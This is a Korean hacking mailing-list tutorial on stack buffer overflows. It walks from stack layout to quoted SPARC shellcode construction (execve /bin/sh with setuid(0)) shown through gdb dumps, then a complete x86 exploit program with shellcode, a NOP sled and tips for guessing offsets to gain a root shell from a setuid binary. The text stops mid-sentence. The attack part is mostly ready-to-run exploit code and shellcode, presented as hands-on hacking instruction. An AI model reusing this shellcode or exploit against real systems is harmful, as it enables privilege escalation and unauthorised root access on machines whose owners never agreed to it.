......ooooooo0000000000 now-hack mailing list 0000000000ooooooo...... 요즘 많은 분들이 buffer overflow에 대해 질문을 하시는데여...그래서 이 bof(buffer overflow)에 대해 강좌를 할까 합니다. 1. buffer overflow? - 이 bof는 지정된 메모리 영역을 벗어남으로서 일어나는 버그입니다. bof에도 여러 가지 종류가 있는데 stack overflow와 heap overflow등이 있습니다. 이 bof만큼 실재 해킹에서 많이 쓰이는 것또한 없을것입니다. 심지에는 cgi에서도 이 bof를 사용합니다. 그리고 몇 년동안 계속 발견되는 이 버그는 앞으로도 무궁무진하게 나올것입니다. 프로그래머가 조금만 신경을 안써도 금방 생기는 아주 귀여운(^^) 버그거든여. 그리고 이 버그는 리눅스 커널을 아예 바꾸지 않는 이상 고쳐질수 없다고 생각합니다. 대비책이 많이 나오긴 했지만여... 그것또한 약간의 트릭으로 통과할 수가 있거든여... 이번 강좌는여 1. buffer overflow 2. stack overflow 3. heap overflow 4. 실제 최근 buffer overflow를 이용해서 root권한을 획득 5. 이 버그를 여러분들이 찾아보세여! 이렇게 준비했습니다. 2. stack overflow - 이 sof 는 잡은 메모리 영역이 넘침으로서 생기는 버그입니다. 예를 들어보죠 void over(char *str){ char buffer[20]; strcpy(buffer,str); } main() { int i; char large[50]; for( i=0;i<49;i++){ large[i]='a' } over(large); } c언어를 조금이라도 공부하신분은(거봐여 저번 강좌때 공부하라구 했죠?) 문제가 있는 소스다! 하는 것을 금방 눈치채셨을 겁니다. 50에 a가 가득차 있죠. 그것을 더 작은 20이라는 크기의 메모리에 집어넣으려니 메모리가 넘쳐서 에러가 나는것이죠. segmentation falt 라고 날껍니다. 자 그렇다면 이것을 이용해서 어떻게 root권한을 획득하나? 그것은 바로 return address라는 것을 이용해서 합니다. 위의 소스를 예로 들어 메모리 구조를 그리자면 [buffer][sfp][ret][*str] 이렇게 됩니다. 바로 stack 이란 예기죠... 나중에 들어온 것이 먼저 나간다는 의미의 stack!! 여기서 모두 알필요는 없고 3번째의 ret이라는 것이 중요한데여...return address에 대해 설명하죠. * ret!! - c언어에서 프로그래밍을 해보신분은 함수를 호출하는 것을 많이 해보셨을것입니다. 그런데 함수를 호출했다가 다시 원래(기본적으로 main()함수)함수로 돌아오는 것을 아실 그렇다면 어떻게 다시 원래의 함수로 돌아오나? 이것은 바로 ret이라는 포인터 영역에 원래 함수의 주소값을 넣으면서 가능해 지는것입니다. 그러니까 전체적으로 처음의 함수 main함수에서 다른 함수가 call되어지고 다시 ret되어 지는 것이죠. 이해 되시죠? 이래도 안되면 바~보^^ 그럼 다시 돌아와서 [buffer][sfp][ret][*str] 이것이 잘 이해가 안가실껏 같아서여... (1) [*str] 먼저 함수를 부를 때 char *str 로 불렀죠? 그래서 저것이 맨 뒤로 갔구여...stack 이란 것이 차곡차곡 쌓여진다는 것입니다. 그러니까 우리가 볼때는 뒤에서부터 봐야겠죠? (2) [ret] 원래의 함수(여기서는 main함수) 의 주소값이 저장되어있습니다. 밑에 보면 아시겠 지만 정확히 말하자면 main의 sfp가 저장되어 있다고 봐야 겠죠. (3) [sfp] (Stack Frame Pointer) 이 레지스터는 스택에서 현재의 위치를 나타내는 레지스터입니다. 여기서는 call 이나 int등의 명령에 사용되는 회귀 주소값을 저장합니다. (4) [buffer] 우리가 지정해준 20짜리 메모리입니다. 16bit에서는 char 1개에 2byte니까 총 40byte가 되겠죠!! 자! 이제 정확히 이해 되시죠. 여기서 감이 팍! 오시는 분이 있으실 것으로 전 믿습니다. 이제 이것을 알았으니 실질적인 해킹에 들어가야겠죠... 먼저 buffer을 꽉 채웁니다. 그다음 셸코드를 채우고 ret에 셸코드의 맨 앞부분 주소를 넣어주면 되는것이죠. 만약 메모리가 (1)번갔이 있다면 (2)번같이 만들어서 넣어주는것이죠 (1) [buffer ][sfp ][ret ] (2) [shellcode][0000000][셸코드의 adress] 자 감이 오시죠. 여기서 한가지 셸코드란 무엇인가? *셸코드 - /bin/sh 란 글자를 execl함수에 넣은 것을 기계어로 만든것입니다. 이해가 안되신다구 여? 이부분은 워낙 방대하기 때문에 다른 사람의 강좌를 인용하겠습니다. ------------------------------------------------------------인용된 부분---- #include main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } 위 프로그램은 "/bin/sh"을 실행시키는 프로그램이다. 위 프로그램을 실행해보면 다음과 같은 결과를 얻는다. % gcc -static -g sh.c -o shass % shass $ 그렇다면 위 프로그램의 어셈블리 코드를 위에서 이야기한 shell code가 들어갈 부분에 넣는다면 shell을 띄울 수 있게 되는 것이다. 이제 위 프로그램의 어셈블리 코드를 확인해보자. arirang:/home/seoro/work/overflow-basics%gdb shass (gdb) disassemble main Dump of assembler code for function main: 0x10150
: save %sp, -120, %sp 0x10154 : sethi %hi(0x10000), %o1 0x10158 : or %o1, 0x3b8, %o0 0x1015c : st %o0, [ %fp + -24 ] 0x10160 : clr [ %fp + -20 ] 0x10164 : add %fp, -24, %o1 0x10168 : ld [ %fp + -24 ], %o0 0x1016c : clr %o2 0x10170 : call 0x1024c 0x10174 : nop 0x10178 : ret 0x1017c : restore End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 0x10254 : bcc 0x10268 <_mutex_lock> 0x10258 : sethi %hi(0x10000), %o5 0x1025c : or %o5, 0x278, %o5 ! 0x10278 <_cerror> 0x10260 : jmp %o5 0x10264 : nop End of assembler dump. (gdb) % 위에서 컴파일 할 당시 -static이라는 옵션을 주었는데, 이것을 주지 않으면 함께 link되는 execve에 관한 정보를 얻을 수 없다. execve의 어셈블리 코드를 보기 위해서, -static 옵션을 주었다. 위 프로그램은 sparc 어셈블리 코드로 어셈블리를 잘 모르는 사람들을 위해서 한 line씩 설명을 하겠다. 0x10150
: save %sp, -120, %sp 이것은 stack frame을 잡아주는 부분이다. 이 프로그램의 main에서는 120byte의 stack을 잡아주고 있다. 0x10154 : sethi %hi(0x10000), %o1 sethi명령은 주소를 지정할 때 주로 쓰이는 명령인데, 전채 32bit의 내용중에서 상위 22bit를 지정한다. 위명령에 의해서 %o1이라는 레지스터에 0x00010000이라는 값이 저장되었다. sethi명령으로는 상위 22bit밖에 지정을 할 수 없기 때문에 바로 다음에 or 명령으로 추가하는 것이 보통이다. 0x10158 : or %o1, 0x3b8, %o0 or명령은 그대로 OR연산을 하는 명령이다. sparc asembly 체계에서 세 인자를 가지면 첫번째, 두번째 인자는 계산되는 값이 되고, 마지막 인자에 저장하는 형태를 갖는다. 위의 연산은 sethi로 22bit을 받아놓은 %o1레지스터의 값에 0x3b8의 값을 더해서 %o0라는 레지스터에 값을 저장하고 있다. 결국, %o0레지스터에 들어가는 값은 0x10000 + 0x3b8 = 0x103b8이라는 값이 된다. 0x1015c : st %o0, [ %fp + -24 ] st 명령은 레지스터에 있는 값을 어떤 장소에 저장해주는 명령으로 %o0에 있는 값을 fp(frame pointer)로 부터 24만큼 떨어진 장소에 저장하라는 것이다. 0x10160 : clr [ %fp + -20 ] clr는 0으로 리셋하는 명령으로 fp로 부터 20떨어진 곳을 0로 만들었다. 0x10164 : add %fp, -24, %o1 이 명령은 위에서 말한 세인자 체계로 fp값에 24를 뺀것을 %o1에 저장하였다. 0x10168 : ld [ %fp + -24 ], %o0 아까 fp-24의 메모리 위치에 넣어두었던 0x103b8이라는 값 자체를 %o0에 로딩하는 명령이다. 0x1016c : clr %o2 %o2레지스터는 0으로 리셋되었다. 0x10170 : call 0x1024c 여기에서 드디어 execve함수를 call한다. 여기에서 자세히 보아 두어야 하는 것이 있다. 그것은 execve함수를 호출할 때 인자를 넘겨주는 방법이다. 원래의 C 프로그램에서 execve가 어떻게 호출되었는지 먼저 살펴보자. execve(name[0], name, NULL); 먼저 "/bin/sh"이라는 스트링이 들어있는 부분을 처음에 지정해 주고, 이 name이라는 전체 배열의 어드레스를 두번째로, 마지막은 NULL을 지정했다. 이것을 위 어셈블리 코드와 비교해보면 재미있는 사실을 알 수 있다. %o0가 첫번째 인자의 값을 가지고 있고, %o1이 두번째 인자를, %o2가 세번째 인자를 가지고 있다. 그렇게 하고 나서 execve를 call하였다. 그러면 이제 execve code를 살펴보자. 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 이 부분이 바로 execve의 정체이다. %g1레지스터에 0x3b라는 값을 배정하고, ta 8로 마치 x86계열에서의 int(인터럽트)명령처럼 이 서비스 루틴을 부르게 된다. 물론 각 인자는 %o0, %o1, %o2세곳에 들어있다. 그러면 실제로 우리가 필요한 부분을 따로 빼내어 살펴볼 수 있다. sethi %hi(0x10000), %o1 or %o1, 0x3b8, %o0 st %o0, [ %fp + -24 ] clr [ %fp + -20 ] add %fp, -24, %o1 ld [ %fp + -24 ], %o0 clr %o2 mov 0x3b, %g1 ta 8 단 중요한 것은 0x103b8의 위치에 "/bin/sh"이라는 string이 있다는 사실이다. 의심이 가면 한번 확인해보자. (gdb) x/bx 0x103b8 0x103b8 <_lib_version+8>: 0x2f (gdb) 0x103b9 <_lib_version+9>: 0x62 (gdb) 0x103ba <_lib_version+10>: 0x69 (gdb) 0x103bb <_lib_version+11>: 0x6e (gdb) 0x103bc <_lib_version+12>: 0x2f (gdb) 0x103bd <_lib_version+13>: 0x73 (gdb) 0x103be <_lib_version+14>: 0x68 (gdb) 0x103bf <_lib_version+15>: 0x00 (gdb) 0x2f는 Ascii로 '/'와 일치하고, 0x62는 Ascii로 b와 일치한다. 이런 식으로 match를 해보면 "/bin/sh\0"로 정확히 맞아떨어짐을 알 수 있다. 그러면 이제 고민 거리가 생긴다. 어떻게 "/bin/sh"이라는 string을 지정할 수 있느냐는 것이다. address를 지정하는 방법은 sethi/or등의 명령인데, 우리가 넣을 이 shell code는 수행중 어느위치에 들어갈지가 가변적이기 때문이다. 이제 편법(?)을 써서 이것을 가능하게 해보자. 8. 상대적인 위치에서도 동작이 가능하도록 한다. 앞절 까지 다룬 것은 overflow시킨 곳으로 shell을 띄우는 프로그램을 넣는 방식(!)인데, 코드 자체가 상대적인 위치를 갖는다는 점에서 문제점이 있었다. "/bin/sh"이라는 어떤 스트링 자체를 포인팅 할 수 있는 방법이 필요한데, 이것을 어드레싱할 방법이 없다는 것이 큰 문제이다. 어짜피 overflow되는 곳에 들어가는 것은 우리가 만든 seed 프로그램 밖에 없다고 생각할 때 seed안에서 처리할 수 밖에 없는 것은 당연한 일이다. 이제 레지스터를 이용하여, 이 /bin/sh이라는 것을 집어넣은 것에 대해서 생각해 보기로 하겠다. 어떻게든 /bin/sh을 메모리 상에 매핑을 해주어야 하므로, 쓰이지 않는 레지스터에 이 값을 저장하는 방법을 택한다. 한 레지스터 내에 들어가는 크기는 정확히 4 byte이므로, /bin/sh을 "/bin"과 "/sh\0"로 쪼갠다. 이것들을 쓰지 않는 레지스터 %l6과 %l7에 저장하는 명령을 생각하면 다음과 같다. 어짜피 한꺼번에 4byte를 레지스터에 넣는 방법이 없어서, sethi와 or을 겸용한 사실을 기억할 것이다. sethi는 상위 22bit를 채우는 기능을 담당하고 있다. 그렇다면 우리가 넣고자 하는 스트링 자체도 22bit와 나머지 10bit로 쪼개는 작업을 해야만 한다. "/bin" 은 16진수로 0x2f 62 f9 6e이다. 이것을 상위 22bit와 하위 10bit로 쪼개면 0x2f626800과 0x16e로 나뉜다. "/sh\0"을 16진수로 나타내면 0x2f 73 68 00 으로 정해지는데, 이것을 상위와 하위로 나누면 0x2f736800 과 0x000으로 쪼개진다. 자 그러면 이들 값을 레지스터에 저장하려면 다음과 같이 하면 된다. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %17 위의 두줄은 %16에 "/bin"이라는 스트링을 기억시킨 것이고, 아래 두줄은 %l7에 "/sh\0"이라는 스트링을 넣은 것이다. 상위 22bit는 sethi를 이용하였고, 하위 10bit는 or을 이용 이전에 sethi로 잡아 놓은 것에 나머지를 붙인 것이다. 이제 앞에서 execve(name[1], name, NULL); 을 할 때의 상황을 기억해야 한다. 첫번째 인자는 "/bin/sh"이 들어있는 위치를 가리키고, 두번째 인자는 이것을 가리킨 놈을 또 다시 가리키는 것이며, 세번째 인자는 그냥 0로 되어 있었다. 우리는 일단 상대적 위치 상에서 우리가 알고 있는 주소가 sp, fp뿐이므로, sp를 "/bin/sh" 스트링이 들어가는 위치로 정한다. 그리고, sp에 이들 스트링이 들어 있으므로, sp 위치 자체를 또한 메모리에 매핑해야 하는데, 이 위치는 "/bin/sh"스트링이 끝나는 바로 다음 위치로 정한다. 그러면 이 위치는 sp + 8이 된다. 그러면 이들 작업을 하는 어셈블리 루틴을 생각하면 다음과 같다. and %sp, %sp, %o0 %o0는 실제로 "/bin/sh"이 있는 위치를 찍어놓게 되므로, sp를 잡아 놓는다. %sp와 %sp를 곱하면 다시 %sp가 되므로, %o0에는 %sp값이 들어간다. add %sp, 8, %o1 %o1은 %sp에서 정확히 8 byte뒤를 찍어놓는다. 이 위치에는 나중에 "/bin/sh"이 있는 곳을 다시 표현하게 된다. xor %o2, %o2, %o2 %o2는 세번째 인자로 0이 들어가야 하므로, xor를 이용해서 0로 잡는다. add %sp, 0x10, %sp %sp를 현재 위치에서 정확히 16만큼 앞으로 이동한다. std %l6, [ %sp + -16 ] std는 더블 워드만큼을 저장하면서, %l6에서 %l7까지를 %sp에서 뒤로 16부분(전번의 sp위치)에 저장시킨다. 이 명령으로 이전의 %sp위치에 "/bin/sh"이 들어간다. st %sp, [ %sp + -8 ] 현재의 %sp값을 %o1이 가리킨 자리에 넣는다. clr [ %sp + -4 ] 그 뒤의 부분을 0으로 클리어 시킨다. 이제 위의 프로그램으로, %o0, %o1, %o2에 알맞은 값을 넣어주고, 성공적으로 "/bin/sh"의 위치를 %o0이 가리키도록 유도했다. 이제 나머지 실제로 시스템 서비스를 받는 부분까지 추가하면 다음과 같이 만들어 진다. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 자 이것으로 seed가 완성이 되었는지 테스트 해보기로 한다. 위 프로그램을 as 및 gcc를 이용하여 구동하려 할 때, main이라는 label이 없으면, 실행이 잘 안되므로, 맨 위에 main을 선언하는 부분을 추가해야 한다. 추가하고 나면 다음과 같다. (실제로 main이라는 lebel은 실행을 위한 것이므로, 실제 overflow 코드에는 들어갈 필요가 없다) .global main main: sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 이것을 as 및 gcc를 통해서 실행해보도록 한다. % as s.asm -o new.o % gcc new.o % a.out $ Shell이 떴다(!).. 이제 이것을 이용하여 실제로 해보려고 하는데, 우리의 "보아니"가 나를 붙잡는다. seed 코드 내에 0 라는 값이 들어가게 되면 strcpy()에 의해서 스트링이 복사될 때 0가 끼인 자리에서 복사를 마치게 되는 수가 있다는 것이다. 0가 끼이면 우리가 생각못한 엉뚱한 결과를 가져오게 될 수도 있는 것이다. 그러면 위의 코드에 0가 끼어있는지 gdb를 통해서 살펴보도록 한다. (gdb) disassemble main Dump of assembler code for function main: 0x10638
: sethi %hi(0x2f626800), %l6 0x1063c : or %l6, 0x16e, %l6 ! 0x2f62696e <_end+794845546> 0x10640 : sethi %hi(0x2f736800), %l7 0x10644 : and %sp, %sp, %o0 0x10648 : add %sp, 8, %o1 0x1064c : xor %o2, %o2, %o2 0x10650 : add %sp, 0x10, %sp 0x10654 : std %l6, [ %sp + -16 ] 0x10658 : st %sp, [ %sp + -8 ] 0x1065c : clr [ %sp + -4 ] 0x10660 : xor %l3, %l3, %l3 0x10664 : inc %l3 0x10668 : mov 0x3b, %g1 0x1066c : ta 8 End of assembler dump. 먼저 disassemble main을 해보니 시작 주소가 0x10638이다. 이곳 내용을 4byte씩 끊어서 실제 각각의 byte내용을 살펴보면 다음과 같다. 잠깐 아래에 ta를 부르기 전 부분에 xor %l3, %l3, %l3 및 inc %l3가 추가된 것을 볼 수 있다. 이것은 실제로 필요한 것으로 이번 분석이후 seed 프로그램 내부에 넣어주도록 한다. (gdb) x/wx 0x10638 0x10638
: 0x2d0bd89a (gdb) 0x1063c : 0xac15a16e (gdb) 0x10640 : 0x2f0bdcda (gdb) 0x10644 : 0x900b800e (gdb) 0x10648 : 0x9203a008 (gdb) 0x1064c : 0x941a800a (gdb) 0x10650 : 0x9c03a010 (gdb) 0x10654 : 0xec3bbff0 (gdb) 0x10658 : 0xdc23bff8 (gdb) 0x1065c : 0xc023bffc (gdb) 0x10660 : 0xa61cc013 (gdb) 0x10664 : 0xa604e001 (gdb) 0x10668 : 0x8210203b (gdb) 0x1066c : 0x91d02008 (gdb) 중간에 0이 많이 끼었다고 걱정할 필요는 없다. 한 byte는 위에서 두 자리씩을 가지므로, 두자리씩을 끊어서 보면 00인 것은 아무것도 없다. 다행이다(!). 0 끼리 붙은 것이 간혹 있지만, 두자리씩 짝수단위로 끊어지므로, 서로 연결된 것이 아니다. 이제 이것을 실제로 overflow시켜서 실행해보도록 한다. 그런데 이것만 가지고는 setuid가 붙은 프로그램의 setuid를 지속시킬수 없습니다. 그래서 이렇게 합니다 분명히 setuid가 붙어있기 때문에, root shell이 떠야할 것인데, $가 떴다. 이것은 setuid에 실패한 것인가, 아니면 rlogin자체에서 이것을 방지하고 있는 것인가, 의문이 생기지 않을 수 없다. 필자도 이 "$"에 대해서 엄청나게 고심을 했었다. 그러나, 나중에서야 그 의문이 풀렸다. 그 원인은 setuid를 하지 않은 데 있었다. 필자는 고심 끝에 setuid(0); 라는 코드를 만들어 넣기에 이르렀다. 이제 부터 일사천리이다. 이전호나 이번 글을 제대로 읽지 않았다면 조금은 이해하기 힘들 수도 있다. 다음의 일련의 과정은 실제 상황이다. ---------(*) % cat > setuid.c #include #include void main(void) { setuid(0); } % gcc -g -static setuid.c % gdb a.out (gdb) disassemble main ^^^^^^^^^^^^^^^ Dump of assembler code for function main: 0x10150
: save %sp, -112, %sp 0x10154 : clr %o0 0x10158 : call 0x1022c <_setuid> 0x1015c : nop 0x10160 :ret 0x10164 : restore End of assembler dump. (gdb) disassemble_setuid ^^^^^^^^^^^^^^^^^^^ Dump of assembler code for function _setuid: 0x1022c <_setuid>: mov 0x17, %g1 0x10230 <_setuid+4>: ta 8 0x10234 <_setuid+8>: bcc 0x10248 <_setuid+28> 0x10238 <_setuid+12>:sethi %hi(0x10000), %o5 0x1023c <_setuid+16>: or %o5, 0x268, %o5 ! 0x10268 <_cerror> 0x10240 <_setuid+20>: jmp %o5 0x10244 <_setuid+24>:nop 0x10248 <_setuid+28>: retl 0x1024c <_setuid+32>: mov %g0,%o0 End of assembler dump. (gdb) --------(*) gdb내에서의 키인 한 것은 "^^^^"로 나타내었다. 여기에서 알아내고자 하는 것은 바로 setuid(0); 의 assembly 아니 machine code이다. 여기에서 본즉 setuid(0); 에서 0를 담당하고 있는 것은 %o0이다. 앞에서도 봤듯이 %o0, %o1.. 등이 함수의 인자로 많이 들어간다. %o0를 clr한 것은 %o0에 0을 넣는다는 의미이다. 그리고 나서 _setuid를 불렀는데, _setuid를 살펴보니 mov 0x17, %g1과 ta 8로 setuid()를 call하고 있다. 이제 이것을 machine code로 뽑아내기만 하면 되는데. --------(*) (gdb) x/wx 0x10154 0x10154 : 0x90102000 (gdb) x/wx 0x1022c 0x1022c <_setuid>: 0x82102017 (gdb) 0x10230 <_setuid+4>: 0x91d02008 (gdb) --------(*) 각각의 machine code를 보니, clr %o0가 중간에 000 이 세개나 붙어있다. 뒤의 두개의 0은 붙어서 '\0'이라는 하나의 캐릭터로 작용을 하게 되므로, 이것은 SEED로써의 자격이 없다. 또한 ta 8 을 할때 지난 번에 xor %l3, %l3, %l3 및 inc %l3를 한 것을 기억할 것이다. 이것 또한 빠져서는 안되며, clr %o0를 xor %l3, %l3, %l3 에다가 and %l3, %l3, %o0로 대체하기로 한다. 그러면 이들 code를 실제로 assembly로 만들어서 컴파일 해보도록 한다. -------(*) .global main main: xor %l3, %l3, %l3 and %l3, %l3, %o0 inc %l3 mov 0x17, %g1 ta 8 --------(*) 위의 assembly code는 setuid(0); 를 수행할 수 있는 것이다. 이것을 컴파일 하여 gdb로 실제 내용을 확인하도록 한다. ---------(*) % as test.a -o test.o % gcc test.o % gdb a.out (gdb) disassemble main ^^^^^^^^^^^^^^^ Dump of assembler code for function main: 0x10638
: xor %l3, %l3, %l3 0x1063c : and %l3, %l3, %o0 0x10640 : inc %l3 0x10644 : mov 0x17, %g1 0x10648 : ta 8 End of assembler dump. (gdb) x/wx main ^^^^^^^^^ 0x10638
: 0xa61cc013 (gdb) 0x1063c : 0x900cc013 (gdb) 0x10640 : 0xa604e001 (gdb) 0x10644 : 0x82102017 (gdb) 0x10648 : 0x91d02008 (gdb) ---------(*) 실제로 컴파일하여 gdb로 돌린 후에 이들의 machine code를 뽑아내었다. 이들의 일련의 과정이 불명확 경우에는 이전호를 자세히 읽어주기 바란다. 이제 위의 code를 앞에 만들었던 seed code 윗부분에 덮어서 넣도록 한다. 그래서 만들어진 seed코드는 다음과 같다. ---------(*) /* seed code */ u_char seed[] = /* 추가된 부분 */ "\xa6\x1c\xc0\x13" "\x90\x0c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x17" "\x91\xd0\x20\x08" /* 원래 부분 */ "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; ---------(*) --------------------------------------인용이 끝났습니다.---------------------　 자 이제 아시겠죠? 그럼 실질적인 소스를 보여드리겠습니다. 먼저 보안상 bof에 당할수 있는 프로그램입니다. 실제로 한번 똑같이 만들어보세여 ------------------bof.c------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } 그다음 이 프로그램에 setuid bit를 주세여. 다음 이 프로그램을 공격하는 프로그램입니다. -----------------exploit1.c------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; execl("./bof","bof", buff, NULL); } 자 이것이 오버플로우를 공격하는 소스입니다. 그럼 소스에 대한 분석을 하죠!. #include // 우선 헤더 포함은 설명안해도 되죠? #define DEFAULT_OFFSET 0 // 오프셋이 지정이 안된다면 이 값을 사용합니다. #define DEFAULT_BUFFER_SIZE 512 // 버퍼사이즈가 지정이 안된다면 이 값을 사용합니다. #define NOP 0x90 // 앞에서 설명한 0000부분을 이것으로 채우는 것입니다. 이것으로 채우면 // 정말 아무것도 아닌 그냥 공허한상태가 되는것이거든여.메모리만 채우고...^^ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; // 아까 만든 셸코드입니다. 이해는 하셨죠? unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } // 정말 중요한 함수입니다. 이 함수는 현재 sp 레지스터의 값을 구해줍니다. // 그러니까 이걸 이용해서 셸코드가 저장되있는곳의 주소를 지정할수 있는것이죠. void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; // 여러 가지 포인터변수와 변수를 지정합니다. 사용은 뒤에서 설명되겠죠 if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); // ./exploit [1] [2] 이렇게 실행을 한다면 argv[1]은 [1]의 값을 받아들이는 것이고 // argv[2]는 [2]의 값을 받아들이는 것입니다. if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } // 우리가 지정해준 사이즈만큼 메모리 영역을 할당합니다. // [nop nop nop][shell shell shell][ret ret ret] // |----------------------------------| -> 이만큼을 우리가 찍어서(^^) 지정해야 하// 는것이죠. 앞에서 말했든이 첫 번째 변수를 이것으로 사용하였죠? // 그렇다면 첫 번째 변수는 오버플로우가 일어나는 최초의 크기값이 될껍니다. 아시겠져? addr = get_sp() - offset; // 이것은 두 번째 변수를 사용했네여. 우선 지금 sp를 받으면 get_sp()의 sp값일껍니다. // 우선 여기서 112 앞에는 main()함수가 있는것입니다. 왜냐하면 함수1개당 112가 기본 // 적인 메모리로 지정이 되고 그다음 우리가 요청한 메모리가 더해지는것이죠. // 하지만 get_sp() 함수는 char형이나 integer형..등등 어떤것도 메모리를 달라고 안했으니 // 기본적으로 112값만 가진것이죠. 우선 그것은 신경쓸꺼 없구여... 우리는 그냥 아무값이나 // 찍어주면 되는것이죠. 그것을 포인터 변수인 addr에 저장합니다. printf("Using address: 0x%x\n", addr); // 그러고 나서 우리가 이곳이 셸코드가 있는 부분이다..!! 하는 것을 어디에 했는지 보여줍// 니다. ptr = buff; // 그리고 나서 ptr이라는 포인터변수에는 아까 우리가 메모리를 잡았던 buff의 첫 번째 포// 인트 값을 가집니다. 즉 |이부분|nnnnnnnnsssssssssrrrrrrrrrrrr| 그러면 그 뒤로는 쫘르륵 // buff 전체가 있는것이니까여. addr_ptr = (long *) ptr; // 그다음 ptr을 long형으로 바꿔서 addr_ptr에 저장했습니다. 이것은 왜일까여? // 바로 ret가 4byte형이기 때문입니다. 그래서 같은 4byte인 long으로 바꾼것이죠. // 이해가 안되신다구여. 만약 2byte로 그대로 넣었다고 치면 |주소주소| 이렇게 주소가2개 // 합쳐져서 들어가겠죠? 그럼 말그대로 000x란 주소였다고 치면 000x000x이렇게 전혀 // 엉뚱한 주소가 들어가겠죠. 따라서 long형으로 바꾼것입니다. for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; // 이것은 buff전체에 우리가 셸코드라고 찍어서(^^) 지정한 부분의 주소값을 // 넣습니다. 4byte씩 끊어서 맞추는 것이 보이죠? // 우선 지금의 모양은 |RRRRRRRRRRRRRRRRRR| <- BUFF for (i = 0; i < bsize/2; i++) buff[i] = NOP; // 그다음 앞의 반을 define으로 지정한 NOP으로 채웁니다. // |NNNNNNNRRRRRRRRR| <-BUFF ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); // 그다음 주소값을 바꾸고 있죠? 어디냐면 바로 BUFF의 처음위치(앞에서 말했죠?)에서 // 가운데 부분에서 뒤로 셸코드의 길이만큼 뺀곳입니다. 그럼 이곳이죠!! // |NNNNN|*|RRRRRR| *부분으로 포인터의 위치를 바꿨습니다. for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // 그다음 셸코드를 아까 거기부터 셸코드의 길이만큼 저장합니다. // |NNNNNSSSSSRRRRRRR| <- BUFF buff[bsize - 1] = '\0'; // 마지막에는 끝을 알리는 \0을 집어넣습니다. execl("./bof","bof", buff, NULL); // 그리고 아까 문제가 됬던 부분을 실행시킵니다. 우리가 입력한 전체 변수를 넣고여 } 자! 감이 팍팍 오시죠? 해커즈랩 레벨 9 단계도 이것과 같은 소스를 써서 통과할수 있습니다. 여기서 OFFSET과 BUFF 의 크기를 추측할수 없냐고 하는데여... 그것보단 그냥 찍는게 편합니다. 이렇게 해보세여. 우선 옵션을 1개만 넣습니다. ./exploit 500 이런식으로 그럼 프로그램이 그냥 끝나겠죠. ./exploit 600 segmentation falt 이렇게 됩니다. 그럼 우린 600을 넣으면 되는것입니다. 그다음 2번째 변수인 offset값은 셸스크립트로 해서 쫙 찾아내면 되겠죠. 이게 저의 노하우라면 노하우입니다. 하하하. 이 프로그램설명을 다시 잠깐 하겠습니다. ret부분을 정확히 끝에 4byte만 안넣는지는 아시죠? 그걸 만약에 ret까지 넘치는 경우가 생겨도 그 뒤에는 정확히 똑같은 주소가 있으니 어느정도까지 우리가 찍는(^^) 숫자가 틀려도 카바해줄껏이란 말이죠. 그래서 4byte단위로 계속 똑같은 주소를 buff전체 크기의 1/2 이나 채운것입니다. 아시겠죠? 그럼 